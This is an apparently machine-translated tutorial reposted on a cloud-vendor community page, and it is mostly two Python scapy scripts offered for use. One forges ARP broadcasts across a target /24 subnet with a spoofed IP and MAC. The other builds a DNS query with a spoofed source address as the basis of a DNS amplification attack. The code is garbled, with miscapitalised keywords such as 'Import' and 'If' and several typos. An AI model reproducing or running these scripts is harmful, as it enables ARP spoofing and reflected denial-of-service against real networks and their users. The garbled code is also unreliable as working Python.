Python uses scapy analog packets to implement ARP attack, DNS amplification attack example _python

Source: Internet
Author: User

Scapy is a powerful interactive packet processor written by Python that can be used to send, sniff, parse, and forge network packets, often used in network attacks and tests.

This is done directly with Python's scapy.

Here is the ARP attack way, you can make ARP attack.

Copy Code code as follows:

#!/usr/bin/python
"""
ARP attack
"""
Import sys, OS
From Scapy.all Import *
If Os.geteuid ()!= 0:
Print "This program must is run as root. Aborting. "
Sys.exit ()

If Len (SYS.ARGV) < 2:
print ' Pkease use%s x.x.x '% (sys.argv[0])
Exit ()
Attackip = sys.argv[1] + ". 0/24"
Srploop (Ether (dst= "FF:FF:FF:FF:FF:FF")/arp (Pdst=attackip, psrc= "192.168.1.100", hwsrc= "00:66:66:66:66:66"), timeout=2)

DNS magnification attack

Copy Code code as follows:

#coding: Utf-8
From scapy Import *
From Scapy.all Import *

A = IP (dst= ' 8.8.8.8 ', src= ' 192.168.1.200 ') #192.168.1.200 for spoofed source IP
b = UDP (dport=53)
c = DNS (id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
C.QD=DNSQR (qname= ' www.qq.com ', Qtype=1,qclass=1)
p = a/b/c
Send (P)
~

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.